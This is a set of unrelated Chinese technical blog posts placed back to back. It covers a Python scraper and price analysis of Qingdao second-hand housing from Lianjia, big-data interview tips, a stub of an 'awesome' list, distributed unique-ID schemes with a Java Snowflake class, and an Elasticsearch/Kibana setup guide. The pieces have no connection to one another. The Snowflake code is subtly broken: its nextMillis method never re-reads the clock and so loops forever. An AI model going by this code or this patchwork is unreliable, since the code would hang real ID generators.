我爬了链家青岛市北3000套二手房得出一个结论

前言

青岛的房价这两年翻了一番,举个栗子,如果你在2016年在市区买了100万的房子,2018年价值200万,净增100万;如果你2016年没有买这100万的房子,2018年买房将多付100万,机会成本100万。而这100万可能是青岛白领不吃不喝十年的收入。

自2018年第二季度起,限价限购限售与金融市场去杠杆两大行政令双管齐下,包括青岛在内的一二线城市房价明显遇冷,成交寥寥,投资客杳无踪影,刚需驻足观望,着急出售的不得不主动降价,价格普遍下跌,三四线城市也受到不同程度的影响。根据博主的卖房经历,初始挂牌价同小区同期房最低,依然许久无人问津,在中介的提议下骤降X%才出手。但是,从长期来看,除非政府放弃干预,实行完全的市场经济模式,否则一二线城市的房价跌幅不会太大,尤其青岛,各地铁线路的开通将再次拉高沿线房产价格。对于刚需群体而言,买房的主要目的不是投资,而是居住。购房时间越晚,成本越高。

爬取数据

博主最近有买房的计划,房价稳中下跌,不失为一个买房好机会。于是,我这个之前不懂房的人,硬着头皮用 Python 爬了些数据分析了一丢丢。

创建基本的数据库:

CREATE TABLE `house` (
   `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键',
   `url` int(11) NOT NULL COMMENT '二手房地址',
   `housing_estate` varchar(20) NOT NULL COMMENT '小区',
   `position` varchar(20) NOT NULL COMMENT '位置',
   `square_metre` decimal(10,2) NOT NULL COMMENT '大小 平米',
   `unit_Price` int(11) NOT NULL COMMENT '单价元 基本都是整数',
   `total_price` int(11) NOT NULL COMMENT '单价万元 基本都是整数',
   `follow` int(11) NOT NULL COMMENT '关注量',
   `take_look` int(11) NOT NULL COMMENT '带看量',
   `pub_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '发布日期',
   PRIMARY KEY (`url`),
   UNIQUE KEY `id` (`id`)
 ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8

爬取代码:

#coding=utf-8
#!/usr/bin/python
__author__ = "小柒"
__blog__ = "https://blog.52itstyle.com/"
# 导入requests库
import requests
# 导入文件操作库
import os
import re
import bs4
from bs4 import BeautifulSoup
import sys
from util.mysql_DBUtils import mysql


# 写入数据库
def write_db(param):
    try:
        sql = "insert into house (url,housing_estate,position,square_metre,unit_price,total_price,follow,take_look,pub_date) "
        sql = sql + "VALUES(%(url)s,%(housing_estate)s, %(position)s,%(square_metre)s,"
        sql = sql + "%(unit_price)s,%(total_price)s,%(follow)s,%(take_look)s,%(pub_date)s)"
        mysql.insert(sql, param)
    except Exception as e:
        print(e)


# 主方法
def main():
    # 给请求指定一个请求头来模拟chrome浏览器
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36'}
    page_max = 100
    for i in range(1, int(page_max) + 1):
        if i == 1:
            house = 'https://qd.lianjia.com/ershoufang/shibei/'
        else:
            house = 'https://qd.lianjia.com/ershoufang/shibei/pg'+str(i)
        res = requests.get(house, headers=headers)
        soup = BeautifulSoup(res.text, 'html.parser')
        li_max = soup.find('ul', class_='sellListContent').find_all('li')
        for li in li_max:
            try:
                house_param = {}
                #  荣馨苑  | 3室2厅 | 115.91平米 | 南 北 | 毛坯 | 无电梯
                content = li.find('div', class_='houseInfo').text
                content = content.split("|")
                house_param['housing_estate'] = content[0]
                house_param['square_metre'] = re.findall(r'-?\d+\.?\d*e?-?\d*?', content[2])[0]
                # --------------------------------------------------------#
                #  位置 水清沟
                position = li.find('div', class_='positionInfo').find('a').text
                house_param['position'] = position
                # --------------------------------------------------------#
                totalprice = li.find('div', class_='totalPrice').text
                house_param['total_price'] = re.sub("\D", "", totalprice)
                unitprice = li.find('div', class_='unitPrice').text
                house_param['unit_price'] = re.sub("\D", "", unitprice)
                # --------------------------------------------------------#
                # 57人关注 / 共13次带看 / 6个月以前发布
                follow = li.find('div', class_='followInfo').text
                follow = follow.split("/")
                house_param['follow'] = re.sub("\D", "", follow[0])
                house_param['take_look'] = re.sub("\D", "", follow[1])
                # --------------------------------------------------------#
                # 二手房地址
                title_src = li.find('div', class_='title').find('a').attrs['href']
                house_param['url'] = re.sub("\D", "", title_src)
                res = requests.get(title_src, headers=headers)
                soup = BeautifulSoup(res.text, 'html.parser')
                # --------------------------------------------------------#
                # 挂牌时间(重要数据)
                pub_date = soup.find('div', class_='transaction').find_all('li')[0].find_all('span')[1].text
                house_param['pub_date'] = pub_date
                write_db(house_param)
            except Exception as e:
                print(e)
        mysql.end("commit")
    mysql.dispose()


if __name__ == '__main__':
    main()

通过链家网页搜索,青岛市北共找到 5105 套二手房,但是看下分页,有100页,每页30条数据,博主用 Python也只爬下2994条数据。个人侦察能力有限,至今仍未找到被藏起来的两千多套房子。若有知晓内幕者,望不吝赐教,柒某愿闻其详。

分析数据

数据库设计方面,博主目前只关注总价、均价、关注、带看量以及发布时间。

总体概况

总数 均价 均关注 均带看
2994 27721 17 1

我们先来看一下链家提供的青岛市北的二手房价格(成交价)走势:

爬取得到的平均单价与链家统计的挂牌平均单价相差无几,成交单价比挂牌平均单价低3k左右。目前二手房市场交易冷冷清清,部分二手房房主无意出售或者不急于出售,挂牌一两年仍未成交,这里后面会有数据说明。

只有少部分房主出于房产置换或套现等需求,着急出售,因而愿意大幅降价。

受首付难凑,房贷难申,房价下跌,尤其是房产市场前景不明朗等多重因素影响,本就为数不多的准买家持续观望,尽管各中介频繁推荐房源,但是准买家并不为所动。

位置分布

从以上两张图可以很直观地看出二手房集中在几个区域——海云庵、台东、新都心。为何这些区域存在如此多的待售二手房呢?

  • 海云庵:以前属于四方区,后现划分至市北,位置略偏,多层房老旧,还有部分拆迁还建房,高至三十几层,物业管理混乱。原房主出售房产谋求换房改善居住环境。
  • 台东:老市北,典型的开放多层老旧小区,商住混合,人员杂乱,挂牌出售的房产中尤以待拆房居多。
  • 新都心:属于市北新商业区,多为2010年以后的高层电梯房,房子基数大,且此区域配套设施完善,在这个区域投资的炒房客多,挂牌出售以套现。

带看量

带看量为零的房源高达六成,多为同小区房源中单价偏高者,显然,鲜有人问津是此时挂牌出售的大部分房源的现状,准买家不仅不急于购买,看房子也不着急了。或许不仅仅是不着急,而是基于目前家庭经济状况考虑,购房目标转向被限价的新楼盘和价格较低的红岛、黄岛等区域了。

挂牌大于一年未出售的房子:

总数 单均价 均关注 均带看
124 28169 47 0.48

挂牌大于半年未出售的房子:

总数 单均价 均关注 均带看
908 27795 31 0.92

挂牌大于三个月未出售的房子:

总数 单均价 均关注 均带看
2345 27712 20 1.07

在带看量为0或1的房源中,不排除部分炒房客无意出售或者不急于出售,有意高价挂牌,潜移默化地拉高整个小区的房价。

贷款

此次房地产市场遇冷,与贷款利率提高不无关系,房价与房贷利率犹如坐在跷跷板两端,当房价出现下滑迹象时,房贷利率优惠就难觅踪影,而当首套房贷利率有所松动时,房价将进入上升通道。对刚需而言,房价略降并不意味着购房成本降低。房贷利率上浮了百分之二十左右,但房价仅仅是略降而已,如果购房者贷款比例高,房价下降的部分不多于多付的利息,购房总成本并未降低。总而言之,利率高,房价低,对于全款买房的买家来说,成本才是真的低了。

商业贷款贷款额度100万,等额本息还款差距表:

优惠 利率 月供
基准 4.9 5307
九折 4.41 5014
上浮20% 5.88 5919

如果你打算公积金贷款,不要做白日梦了,漫长的申请周期和可怜的额度足以让买卖双方都抓狂。

注:2017年青岛就业人员平均工资出炉 月均5253元。

房产税

至于房产税,还在酝酿提案中,神马时候冲破重重关卡仍未可知。

那么哪些人惧怕房产税?

人群 伤害指数
在中心城市囤积大量住宅的人 ★★★
盲目购买旅游物业、养老地产的人 ★★★★
盲目购买三四线城市郊区、新区住宅的人 ★★★★
加杠杆、超承受能力买多套房的白领 ★★★★
在三四线城市囤积了大量住宅的人 ★★★★★★
手中有多套房、负债率非常高的炒房者 ★★★★★★

主要取决于房产税的具体条款,包括征税比例、起征房产套数、起征面积、异地房产统计、家庭成员统计等诸多因素。

趋势态度

其实扯了这么多,总的来说,房价大概不会继续翻着番地涨,同时,指望购房成本下降也是不现实的。如果你是炒房客,换个市场炒吧;如果你是刚需,看好房子就要尽早下手,不要期待任何人慷慨解囊或赠予。规则认知和运用能力是个体生存的基本能力。

当然,肯定有一些人,斥责现在的年轻人以买房为目标,别无他求。有的是有人帮忙负重,生而无忧,从不为其所困;有的是无欲无求,赡养、抚育与他毫无干系;更多的是想要而不得,迫不得已放弃。房地产自商业化之日起就绑架了太多,下一代的教育、良好的居住环境、货币贬值与资产保值……万事有因果,存在即合理。如果真的要“修正”价值观,洗脑活动需尝试从下一代出生之日开始。

小结

这仅仅房地产市场冰山一角,不具备广泛代表性。但是下面一句话与诸位共勉:买房要趁早,没有条件也要创造条件,哪怕以后你卖了呢!

源码:https://gitee.com/52itstyle/Python/tree/master/Day11

作者: 小柒

出处: https://blog.52itstyle.com

从面试官的角度谈谈大数据面试

作为一只老鸟,我的面试经验还算丰富,无论是作为面试者还是面试官。其实这篇对于面试者来说也是有意义的,毕竟知己知彼,百战不殆,知道对方会从哪些方面问问题,从哪些方面考核,才能更好地提前做好准备。

首先,我觉得面试官有责任保证面试过程是一次高效的交流。你要获取到你需要的信息,对面试者做全方位的考量;面试者也要获取到他需要的信息,面试官(若面试成功很大可能是自己的上级)的水平,公司技术要求水平,自己是否适合这家公司,公司是否需要自己。

面试是一个双向选择的过程,面试官在选人,面试者在选公司。而面试者了解这家公司最直接的途径就是通过面试官。

说说面试官

我先说几个面试官常会有的问题。

  • 问题问得太跳跃,想到什么问什么
  • 抓住一个面试官自己很熟的知识点或者方向往死里问 ,完全不会根据面试者的回答情况做调整(我是来面试的,不是来看你炫技的)
  • 只问技术,不问业务
  • 技术问题问得太表面

当然我也见过不错的面试官,问题问得很有水平。那有水平的面试官会给人什么样的感觉?

  • 答得很舒服,不管结果怎么样,总之能展现出自己应有的水平
  • 面试过程是有收获的,没有白来,知道了自己的欠缺
  • 如果面试者是个到处抢着要的高手,那你有水平的提问会给这个面试者留下深刻印象,毕竟大家都是喜欢和厉害的人当同事的
说说提问

思路想法,表达能力,技术功底,热情。这几个点我是比较看重的。很多问题都是围绕着这几个点展开的,大家看下有没有借鉴意义。

01

技术能力

这个是硬指标,不过关的基本是可以一票否决的,当然技术能力的标准是根据工作年限,面试职位和薪资要求共同来决定的。面试官要根据实际情况有自己的判断。

那技术能力如何考察?我提几个方面

基础能力

java 的 jvm、多线程、类加载等

scala 伴生对象,偏函数,柯里化等

还有shell和python的就不举例了

HBase读写流程

Yarn任务提交流程等等

底层原理

Hbase是如何存数据的,为什么读得快

spark为什么就算不在内存跑也比mr快

zookeeper数据怎么保证一致性

说说选举机制

等等

源码

有没有读过源码?

详细说下你从源码中获取到了什么信息,有什么帮助

架构设计能力

如何技术选型,考虑哪些因素?

设计一个同时满足实时和离线分析需求的平台

为什么这么设计?

另外

以上问题如果回答得不太好,可以再给个机会让他说下自己最熟悉的技术,不限制从哪些方面讲。

02

解决问题能力

如何排查hbase集群cpu过高问题

如何优化spark任务

……

03

方案设计能力

说说数据仓库设计建模过程

说说数据质量监控系统怎么设计

……

04

想法

这是一道开放题

对数据治理有什么想法

对职业生涯的规划

……

05

还可以再问些偏向管理的问题

如何调动组员的技术学习积极性

如何高效地跨部门协作

……

06

唠嗑

上面的问题问完觉得感觉可以的话可以,可以唠唠嗑,问些其他问题。

为何离职?

觉得自己是什么样的性格等等

当然这些都不太重要了主要就是考察下你的语言表达能力和三观是不是正的。

提问的技巧

问问题要有技巧,循循善诱而不是想到什么问什么

举个简单的例子

问:zookeeper加大量节点会对文件写入速度有什么影响?为什么?

答:不清楚

问:你觉得zookeeper作为分布式协调系统对一致性有什么要求呢

答:强一致性

问:那你觉得要如何保证强一致性,或者说保证强一致会不会对其他方面的性能有影响

……

不知道大家有没有看出来,最后一个问题其实是第一个问题的答案,当面试者回答不出来的时候不用急着换其他方面的问题,毕竟很多东西没接触过确实就是不知道。

你可以适当地引导他回答的方向,这样很能看出他的思维能力,如果他能把这两个问题立马关联起来回答,那我觉得还是可以加分的。

面试者如果听出了这两个问题的关联,恍然大悟,也会觉得面试官提问很有技巧,提升好感,对他来说选公司方面也是有加分的。

最后

上面的内容希望能对一些面试者或者面试官有帮助。当今时代,跳槽确实是大部分程序猿升职加薪最快的方式,特别是职业生涯初期。说起来也是很无奈,公司经常是宁愿花更多的钱来请个新人也不愿意加薪留住老人。

因此现在很多大公司的管理者都很喜欢强调文档落地,需求方案,技术方案,解决方案等等都要有记录,这样可以保证新人能快速上手,即插即用。

说白了就是保证这个项目组没了任何一个人,都可以继续正常运作。这个先不说了扯远了,有空再聊。

这个行业就是这样我们没有办法改变TA那就只能适TA。

觉得有帮助的话点个赞吧,如果点赞量多的话,我再写一篇 [从面试者的角度谈谈大数据面试]。

awesome list

收集各种awesome。

awesome的源头在这里:awesome,后来发展了各种各样的avesome项目。不过资源都是英文的,不太方便国内同学查看,我这里整理了一些中文的avesome项目。

参与贡献

目录

语言

书籍

前端

后端

其它

分布式唯一ID的几种生成方案

前言

在互联网的业务系统中,涉及到各种各样的ID,如在支付系统中就会有支付ID、退款ID等。那一般生成ID都有哪些解决方案呢?特别是在复杂的分布式系统业务场景中,我们应该采用哪种适合自己的解决方案是十分重要的。下面我们一一来列举一下,不一定全部适合,这些解决方案仅供你参考,或许对你有用。
大家可以关注一下公众号“Java架构师秘籍

正文

分布式ID的特性

唯一性:确保生成的ID是全网唯一的。
有序递增性:确保生成的ID是对于某个用户或者业务是按一定的数字有序递增的。
高可用性:确保任何时候都能正确的生成ID。
带时间:ID里面包含时间,一眼扫过去就知道哪天的交易。

分布式ID的生成方案
1. UUID
算法的核心思想是结合机器的网卡、当地时间、一个随记数来生成UUID。

优点:本地生成,生成简单,性能好,没有高可用风险
缺点:长度过长,存储冗余,且无序不可读,查询效率低

2. 数据库自增ID
使用数据库的id自增策略,如 MySQL 的 auto_increment。并且可以使用两台数据库分别设置不同步长,生成不重复ID的策略来实现高可用。

优点:数据库生成的ID绝对有序,高可用实现方式简单
缺点:需要独立部署数据库实例,成本高,有性能瓶颈

3. 批量生成ID
一次按需批量生成多个ID,每次生成都需要访问数据库,将数据库修改为最大的ID值,并在内存中记录当前值及最大值。

优点:避免了每次生成ID都要访问数据库并带来压力,提高性能
缺点:属于本地生成策略,存在单点故障,服务重启造成ID不连续

4. Redis生成ID
Redis的所有命令操作都是单线程的,本身提供像 incr 和 increby 这样的自增原子命令,所以能保证生成的 ID 肯定是唯一有序的。

优点:不依赖于数据库,灵活方便,且性能优于数据库;数字ID天然排序,对分页或者需要排序的结果很有帮助。

缺点:如果系统中没有Redis,还需要引入新的组件,增加系统复杂度;需要编码和配置的工作量比较大。

考虑到单节点的性能瓶颈,可以使用 Redis 集群来获取更高的吞吐量。假如一个集群中有5台 Redis。可以初始化每台 Redis 的值分别是1, 2, 3, 4, 5,然后步长都是 5。各个 Redis 生成的 ID 为:

A:1, 6, 11, 16, 21
B:2, 7, 12, 17, 22
C:3, 8, 13, 18, 23
D:4, 9, 14, 19, 24
E:5, 10, 15, 20, 25

随便负载到哪个机确定好,未来很难做修改。步长和初始值一定需要事先确定。使用 Redis 集群也可以方式单点故障的问题。
另外,比较适合使用 Redis 来生成每天从0开始的流水号。比如订单号 = 日期 + 当日自增长号。可以每天在 Redis 中生成一个 Key ,使用 INCR 进行累加。
5. Twitter的snowflake算法
Twitter 利用 zookeeper 实现了一个全局ID生成的服务 Snowflake:github.com/twitter/sno…
https://user-gold-cdn.xitu.io/2018/7/2/1645b1a7a9beb2b6?imageslim
如上图的所示,Twitter 的 Snowflake 算法由下面几部分组成:

1位符号位:

由于 long 类型在 java 中带符号的,最高位为符号位,正数为 0,负数为 1,且实际系统中所使用的ID一般都是正数,所以最高位为 0。

41位时间戳(毫秒级):

需要注意的是此处的 41 位时间戳并非存储当前时间的时间戳,而是存储时间戳的差值(当前时间戳 – 起始时间戳),这里的起始时间戳一般是ID生成器开始使用的时间戳,由程序来指定,所以41位毫秒时间戳最多可以使用 (1 << 41) / (1000x60x60x24x365) = 69年。

10位数据机器位:

包括5位数据标识位和5位机器标识位,这10位决定了分布式系统中最多可以部署 1 << 10 = 1024 s个节点。超过这个数量,生成的ID就有可能会冲突。

12位毫秒内的序列:

这 12 位计数支持每个节点每毫秒(同一台机器,同一时刻)最多生成 1 << 12 = 4096个ID
加起来刚好64位,为一个Long型。

优点:高性能,低延迟,按时间有序,一般不会造成ID碰撞
缺点:需要独立的开发和部署,依赖于机器的时钟

简单实现

public class IdWorker {
    /**
     * 起始时间戳 2017-04-01
     */
    private final long epoch = 1491004800000L;
    /**
     * 机器ID所占的位数
     */
    private final long workerIdBits = 5L;
    /**
     * 数据标识ID所占的位数
     */
    private final long dataCenterIdBits = 5L;
    /**
     * 支持的最大机器ID,结果是31
     */
    private final long maxWorkerId = ~(-1L << workerIdBits);
    /**
     * 支持的最大数据标识ID,结果是31
     */
    private final long maxDataCenterId = ~(-1 << dataCenterIdBits);
    /**
     * 毫秒内序列在id中所占的位数
     */
    private final long sequenceBits = 12L;
    /**
     * 机器ID向左移12位
     */
    private final long workerIdShift = sequenceBits;
    /**
     * 数据标识ID向左移17(12+5)位
     */
    private final long dataCenterIdShift = sequenceBits + workerIdBits;
    /**
     * 时间戳向左移22(12+5+5)位
     */
    private final long timestampShift = sequenceBits + workerIdBits + dataCenterIdBits;
    /**
     * 生成序列的掩码,这里为4095 (0b111111111111=0xfff=4095)
     */
    private final long sequenceMask = ~(-1L << sequenceBits);
    /**
     * 数据标识ID(0~31)
     */
    private long dataCenterId;
    /**
     * 机器ID(0~31)
     */
    private long workerId;
    /**
     * 毫秒内序列(0~4095)
     */
    private long sequence;
    /**
     * 上次生成ID的时间戳
     */
    private long lastTimestamp = -1L;

    public IdWorker(long dataCenterId, long workerId) {
        if (dataCenterId > maxDataCenterId || dataCenterId < 0) {
            throw new IllegalArgumentException(String.format("dataCenterId can't be greater than %d or less than 0", maxDataCenterId));
        }
        if (workerId > maxWorkerId || workerId < 0) {
            throw new IllegalArgumentException(String.format("worker Id can't be greater than %d or less than 0", maxWorkerId));
        }
        this.dataCenterId = dataCenterId;
        this.workerId = workerId;
    }

    /**
     * 获得下一个ID (该方法是线程安全的)
     * @return snowflakeId
     */
    public synchronized long nextId() {
        long timestamp = timeGen();
        //如果当前时间小于上一次ID生成的时间戳,说明系统时钟回退过,这个时候应当抛出异常
        if (timestamp < lastTimestamp) {
            throw new RuntimeException(String.format("Clock moved backwards.  Refusing to generate id for %d milliseconds", lastTimestamp - timestamp));
        }
        //如果是同一时间生成的,则进行毫秒内序列
        if (timestamp == lastTimestamp) {
            sequence = (sequence + 1) & sequenceMask;
            //毫秒内序列溢出
            if (sequence == 0) {
                //阻塞到下一个毫秒,获得新的时间戳
                timestamp = nextMillis(lastTimestamp);
            }
        } else {//时间戳改变,毫秒内序列重置
            sequence = 0L;
        }
        lastTimestamp = timestamp;
        //移位并通过按位或运算拼到一起组成64位的ID
        return ((timestamp - epoch) << timestampShift) |
                (dataCenterId << dataCenterIdShift) |
                (workerId << workerIdShift) |
                sequence;
    }

    /**
     * 返回以毫秒为单位的当前时间
     * @return 当前时间(毫秒)
     */
    protected long timeGen() {
        return System.currentTimeMillis();
    }

    /**
     * 阻塞到下一个毫秒,直到获得新的时间戳
     * @param lastTimestamp 上次生成ID的时间截
     * @return 当前时间戳
     */
    protected long nextMillis(long lastTimestamp) {
        long timestamp = timeGen();
        while (timestamp <= lastTimestamp) {
            timestamp = lastTimestamp;
        }
        return timestamp;
    } 
}

6. 百度UidGenerator
UidGenerator是百度开源的分布式ID生成器,基于于snowflake算法的实现,看起来感觉还行。不过,国内开源的项目维护性真是担忧。
具体可以参考官网说明:github.com/baidu/uid-g…
7. 美团Leaf
Leaf 是美团开源的分布式ID生成器,能保证全局唯一性、趋势递增、单调递增、信息安全,里面也提到了几种分布式方案的对比,但也需要依赖关系数据库、Zookeeper等中间件。
具体可以参考官网说明:tech.meituan.com/MT_Leaf.htm…

小结

这篇文章和大家分享了全局id生成服务的几种常用方案,同时对比了各自的优缺点和适用场景。在实际工作中,大家可以结合自身业务和系统架构体系进行合理选型。
欢迎大家加Q群:230419550 学习交流讨论架构师进阶知识

ELK 架构之 Elasticsearch 和 Kibana 安装配置

阅读目录:

  • 1. ELK Stack 简介
  • 2. 环境准备
  • 3. 安装 Elasticsearch
  • 4. 安装 Kibana
  • 5. Kibana 使用
  • 6. Elasticsearch 命令

最近在开发分布式服务追踪,使用 Spring Cloud Sleuth Zipkin + Stream + RabbitMQ 中间件,默认使用内存存储数据,但这样应用于生产环境,就不太合适了。

最终我采用的方案:服务追踪数据使用 RabbitMQ 进行采集 + 数据存储使用 Elasticsearch + 数据展示使用 Kibana

这篇文章主要记录 Elasticsearch 和 Kibana 环境的配置,以及采集服务追踪数据的显出处理。

1. ELK Stack 简介

ELK 是三个开源软件的缩写,分别为:Elasticsearch、Logstash 以及 Kibana,它们都是开源软件。不过现在还新增了一个 Beats,它是一个轻量级的日志收集处理工具(Agent),Beats 占用资源少,适合于在各个服务器上搜集日志后传输给 Logstash,官方也推荐此工具,目前由于原本的 ELK Stack 成员中加入了 Beats 工具所以已改名为 Elastic Stack。

根据 Google Trend 的信息显示,Elastic Stack 已经成为目前最流行的集中式日志解决方案。

Elastic Stack 包含:

  • Elasticsearch 是个开源分布式搜索引擎,提供搜集、分析、存储数据三大功能。它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful 风格接口,多数据源,自动搜索负载等。详细可参考 Elasticsearch 权威指南
  • Logstash 主要是用来日志的搜集、分析、过滤日志的工具,支持大量的数据获取方式。一般工作方式为 c/s 架构,client 端安装在需要收集日志的主机上,server 端负责将收到的各节点日志进行过滤、修改等操作在一并发往 Elasticsearch 上去。
  • Kibana 也是一个开源和免费的工具,Kibana 可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助汇总、分析和搜索重要数据日志。
  • Beats 在这里是一个轻量级日志采集器,其实 Beats 家族有 6 个成员,早期的 ELK 架构中使用 Logstash 收集、解析日志,但是 Logstash 对内存、cpu、io 等资源消耗比较高。相比 Logstash,Beats 所占系统的 CPU 和内存几乎可以忽略不计。

ELK Stack (5.0版本之后)–> Elastic Stack == (ELK Stack + Beats)。

目前 Beats 包含六种工具:

  • Packetbeat: 网络数据(收集网络流量数据)
  • Metricbeat: 指标(收集系统、进程和文件系统级别的 CPU 和内存使用情况等数据)
  • Filebeat: 日志文件(收集文件数据)
  • Winlogbeat: windows 事件日志(收集 Windows 事件日志数据)
  • Auditbeat:审计数据(收集审计日志)
  • Heartbeat:运行时间监控(收集系统运行时的数据)

ELK 简单架构图:

2. 环境准备

服务器环境:Centos 7.0(目前单机,后续再部署集群)

Elasticsearch 和 Logstash 需要 Java 环境,Elasticsearch 推荐的版本为 Java 8,安装教程:确定稳定的 Spring Cloud 相关环境版本

另外,我们需要修改下服务器主机信息:

[root@node1 ~]# vi /etc/hostname
node1

[root@node1 ~]# vi /etc/hosts
192.168.0.11 node1
127.0.0.1   node1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         node1 localhost localhost.localdomain localhost6 localhost6.localdomain6

注意:我之前安装 Elasticsearch 和 Kibana 都是最新版本(6.x),但和 Spring Cloud 集成有些问题,所以就采用了 5.x 版本(具体 5.6.9 版本)

3. 安装 Elasticsearch

运行以下命令将 Elasticsearch 公共 GPG 密钥导入 rpm:

[root@node1 ~]# rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

/etc/yum.repos.d/目录中,创建一个名为elasticsearch.repo的文件,添加下面配置:

[elasticsearch-5.x]
name=Elasticsearch repository for 5.x packages
baseurl=https://artifacts.elastic.co/packages/5.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md

Elasticsearch 源创建完成之后,通过 makecache 查看源是否可用,然后通过 yum 安装 Elasticsearch:

[root@node1 ~]# yum makecache && yum install elasticsearch -y

修改配置(启动地址和端口):

[root@node1 ~]# vi /etc/elasticsearch/elasticsearch.yml
network.host: node1  # 默认localhost,自定义为ip
http.port: 9200

要将 Elasticsearch 配置为在系统引导时自动启动,运行以下命令:

[root@node1 ~]# sudo /bin/systemctl daemon-reload
[root@node1 ~]# sudo /bin/systemctl enable elasticsearch.service

Elasticsearch 可以按如下方式启动和停止:

[root@node1 ~]# sudo systemctl start elasticsearch.service
[root@node1 ~]# sudo systemctl stop elasticsearch.service

列出 Elasticsearch 服务的日志:

[root@node1 ~]# sudo journalctl --unit elasticsearch
-- Logs begin at 三 2018-05-09 10:13:46 CEST, end at 三 2018-05-09 10:53:53 CEST. --
5月 09 10:53:43 node1 systemd[1]: [/usr/lib/systemd/system/elasticsearch.service:8] Unknown lvalue 'RuntimeDirectory' in section 'Service'
5月 09 10:53:43 node1 systemd[1]: [/usr/lib/systemd/system/elasticsearch.service:8] Unknown lvalue 'RuntimeDirectory' in section 'Service'
5月 09 10:53:48 node1 systemd[1]: Starting Elasticsearch...
5月 09 10:53:48 node1 systemd[1]: Started Elasticsearch.
5月 09 10:53:48 node1 elasticsearch[2908]: which: no java in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin)
5月 09 10:53:48 node1 elasticsearch[2908]: could not find java; set JAVA_HOME or ensure java is in PATH
5月 09 10:53:48 node1 systemd[1]: elasticsearch.service: main process exited, code=exited, status=1/FAILURE
5月 09 10:53:48 node1 systemd[1]: Unit elasticsearch.service entered failed state.

出现了错误,具体信息是未找到JAVA_HOME环境变量,但我们明明已经配置过了。

解决方式(参考资料:https://segmentfault.com/q/1010000004715131):

[root@node1 ~]# vi /etc/sysconfig/elasticsearch
JAVA_HOME=/usr/local/java

重新启动:

sudo systemctl restart elasticsearch.service

或者通过systemctl命令,查看 Elasticsearch 启动状态:

[root@node1 ~]# systemctl status elasticsearch.service
elasticsearch.service - Elasticsearch
   Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; enabled)
   Active: active (running) since 一 2018-05-14 05:13:45 CEST; 4h 5min ago
     Docs: http://www.elastic.co
  Process: 951 ExecStartPre=/usr/share/elasticsearch/bin/elasticsearch-systemd-pre-exec (code=exited, status=0/SUCCESS)
 Main PID: 953 (java)
   CGroup: /system.slice/elasticsearch.service
           └─953 /usr/local/java/bin/java -Xms2g -Xmx2g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingO...

5月 14 05:13:45 node1 systemd[1]: Started Elasticsearch.

发现 Elasticsearch 已经成功启动。

查看 Elasticsearch 信息:

[root@node1 ~]# curl -XGET 'http://node1:9200/?pretty'
{
  "name" : "AKmrtMm",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "r7lG3UBXQ-uTLHInJxbOJA",
  "version" : {
    "number" : "5.6.9",
    "build_hash" : "877a590",
    "build_date" : "2018-04-12T16:25:14.838Z",
    "build_snapshot" : false,
    "lucene_version" : "6.6.1"
  },
  "tagline" : "You Know, for Search"
}

4. 安装 Kibana

运行以下命令将 Elasticsearch 公共 GPG 密钥导入 rpm:

[root@node1 ~]# rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

/etc/yum.repos.d/目录中,创建一个名为kibana.repo的文件,添加下面配置:

[kibana-5.x]
name=Kibana repository for 5.x packages
baseurl=https://artifacts.elastic.co/packages/5.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md

安装 Kibana:

[root@node1 ~]# yum makecache && yum install kibana -y

修改配置(地址和端口,以及 Elasticsearch 的地址,注意server.host只能填写服务器的 IP 地址):

[root@node1 ~]# vi /etc/kibana/kibana.yml

# Kibana is served by a back end server. This setting specifies the port to use.
server.port: 5601

# Specifies the address to which the Kibana server will bind. IP addresses and host names are both valid values.
# The default is 'localhost', which usually means remote machines will not be able to connect.
# To allow connections from remote users, set this parameter to a non-loopback address.
server.host: "192.168.0.11"

# The Kibana server's name.  This is used for display purposes.
server.name: "kibana-server"

# The URL of the Elasticsearch instance to use for all your queries.
elasticsearch.url: "http://node1:9200"

# 配置kibana的日志文件路径,不然默认是messages里记录日志
logging.dest: /var/log/kibana.log 

创建日志文件:

[root@node1 ~]# touch /var/log/kibana.log; chmod 777 /var/log/kibana.log

要将 Kibana 配置为在系统引导时自动启动,运行以下命令:

[root@node1 ~]# sudo /bin/systemctl daemon-reload
[root@node1 ~]# sudo /bin/systemctl enable kibana.service

Kibana 可以如下启动和停止

[root@node1 ~]# sudo systemctl start kibana.service
[root@node1 ~]# sudo systemctl stop kibana.service

查看启动日志:

[root@node1 ~]# sudo journalctl --unit kibana
5月 09 11:14:48 node1 systemd[1]: Starting Kibana...
5月 09 11:14:48 node1 systemd[1]: Started Kibana.

然后浏览器访问:http://node1:5601

初次使用时,会让你配置一个默认的 index,也就是你至少需要关联一个 Elasticsearch 里的 Index,可以使用 pattern 正则匹配。

注意:如果 Elasticsearch 中没有数据的话,你是无法创建 Index 的。

如果 Spring Cloud Sleuth Zipkin + Stream + RabbitMQ 配置正确的话(以后再详细说明),服务追踪的数据就已经存储在 Elasticsearch 中了。

5. Kibana 使用

创建zipkin:*索引(*匹配后面所有字符):

然后就可以查看服务追踪的数据了:

也可以创建自定义仪表盘:

6. Elasticsearch 命令

创建索引:

$ curl -XPUT 'http://node1:9200/twitter'

查看 Index 索引列表:

$ curl -XGET http://node1:9200/_cat/indices
yellow open twitter k1KnzWyYRDeckjt7GASh8w 5 1 1 0 5.1kb 5.1kb
yellow open .kibana 8zJGQkq8TwC4s3JJLMX44g 1 1 1 0   4kb   4kb
